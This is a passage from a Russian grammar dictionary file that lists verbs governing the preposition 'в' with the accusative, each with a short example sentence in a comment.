rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
